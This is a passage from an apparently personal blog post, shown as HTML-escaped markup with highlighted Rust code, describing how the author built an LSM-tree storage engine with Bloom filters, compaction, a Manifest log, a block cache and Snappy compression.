&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;        eprintln!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Background flush failed: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{}&amp;quot;,&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; condvar&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) = &amp;amp;*&lt;&#x2F;span&gt;&lt;span&gt;condvar_arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let mut&lt;&#x2F;span&gt;&lt;span&gt; flushing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;lock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    *&lt;&#x2F;span&gt;&lt;span&gt;flushing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = false;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    condvar&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;notify_all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;});&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;filtering-the-noise-with-bloom-filters&quot;&gt;Filtering the Noise with Bloom Filters&lt;&#x2F;h2&gt;
&lt;p&gt;When I started running read operations, I noticed something highly concerning. If a user searched for a key that did not exist, the engine would waste incredible amounts of time searching through every single disk file. To save the database from these pointless disk reads, I learned about and implemented a &lt;strong&gt;Bloom Filter&lt;&#x2F;strong&gt;. This is a special probabilistic data structure. It uses an incredibly clever double-hashing math trick. It can instantly tell you if a key is definitely missing in just a few micro-operations. By embedding these into every file, I managed to eliminate almost ninety-nine percent of unnecessary physical disk reads.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;bloom_filter.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; Returns `false` if the key is **definitely** absent. Returns `true` if it **might** exist.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;pub fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; contains&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;amp;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;]) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; hash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;hash_key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;hash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0xFFFFFFFF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; h2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;hash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;bits&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; false;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; in 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;k_num_hashes &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; bit_idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + (&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;wrapping_mul&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;h2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;        &#x2F;&#x2F; One clear bit is enough to prove absence — no need to check the remaining hashes.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;bits&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;bit_idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;unwrap_or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(false) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;            return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; false;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;merging-data-with-multi-level-compaction&quot;&gt;Merging Data with Multi-Level Compaction&lt;&#x2F;h2&gt;
&lt;p&gt;Because this system never overwrites data directly, old data and deleted records start piling up constantly. It is exactly like having an overflowing trash bin full of outdated drafts. I solved this by building a background compaction system. As files multiply over time, a multi-level merge kicks in automatically. It takes the oldest files and merges them together using a smart sorting technique. If it sees a deleted record, it permanently erases it and frees up the actual disk space. This guarantees that the storage size remains incredibly lean no matter how long the database runs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tracking-state-with-the-manifest&quot;&gt;Tracking State with the Manifest&lt;&#x2F;h2&gt;
&lt;p&gt;Another major technical hurdle was keeping track of all these newly created and merged files perfectly. If the power fails during a massive compaction merge, how does the system know which files are actually safe to use upon restart? I needed an absolute source of truth. I built a persistent system tracker called the &lt;strong&gt;Manifest&lt;&#x2F;strong&gt;. Every time a new file is born or an old file is deleted, the Manifest records a tiny delta update. When the database boots up, it reads this Manifest log like an unalterable history book. This cleanly reconstructs the state and completely prevents corrupted ghost files from destroying the data integrity.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;sstable&#x2F;manifest.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;pub&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Manifest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;impl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Manifest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    &#x2F;&#x2F;&#x2F; Opens the Manifest log in append mode. Creates it if it doesn&amp;#39;t exist.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; impl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AsRef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; anyhow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; OpenOptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(true).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(true).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;        Ok&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    &#x2F;&#x2F;&#x2F; Logs a specific state mutation (e.g. creating a Level 0 table, or merging tables to Level 1).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; log_edit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; edit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;VersionEdit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;(),&lt;&#x2F;span&gt;&lt;span&gt; anyhow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; edit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;to_bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;write_all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;sync_data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;()?;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;        Ok&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;speeding-up-reads-with-an-lru-cache&quot;&gt;Speeding Up Reads with an LRU Cache&lt;&#x2F;h2&gt;
&lt;p&gt;As I tested the read path, I realized retrieving the same data multiple times was forcing the engine to fetch the same blocks from the disk repeatedly. This felt incredibly inefficient. To solve this, I added an in-memory block cache. I configured it to hold the most recently used blocks in prime memory space. If a previously accessed piece of data is requested again, the engine simply grabs it directly from this cache. This completely skips the heavy penalty of paging from the storage drive. It drastically improved the performance for frequently accessed data.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shrinking-data-with-block-compression&quot;&gt;Shrinking Data with Block Compression&lt;&#x2F;h2&gt;
&lt;p&gt;Physical disk space is a precious resource. I wanted the engine to store as much data as humanly possible without bloating the hard drive. I integrated Snappy compression into the data block pipeline. Before any block ever reaches the disk, the engine compresses it. When reading it back, it decompresses the block instantly. I designed the file format with a special forward-compatible byte exactly for this. It tells the reader how to unpack the data seamlessly. This significantly reduced the overall disk footprint with almost zero noticeable speed penalty.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;sstable&#x2F;compaction.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Reads the 1-byte compression type sentinel written by SSTableBuilder and decompresses.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; Returning None (instead of panicking) on an unknown type makes the reader forward-compatible:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; a file written by a future version of lsmdb with a new compressor can be gracefully skipped&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; rather than crashing all existing readers.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; decompress_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;raw_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;amp;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;]) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Option&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: 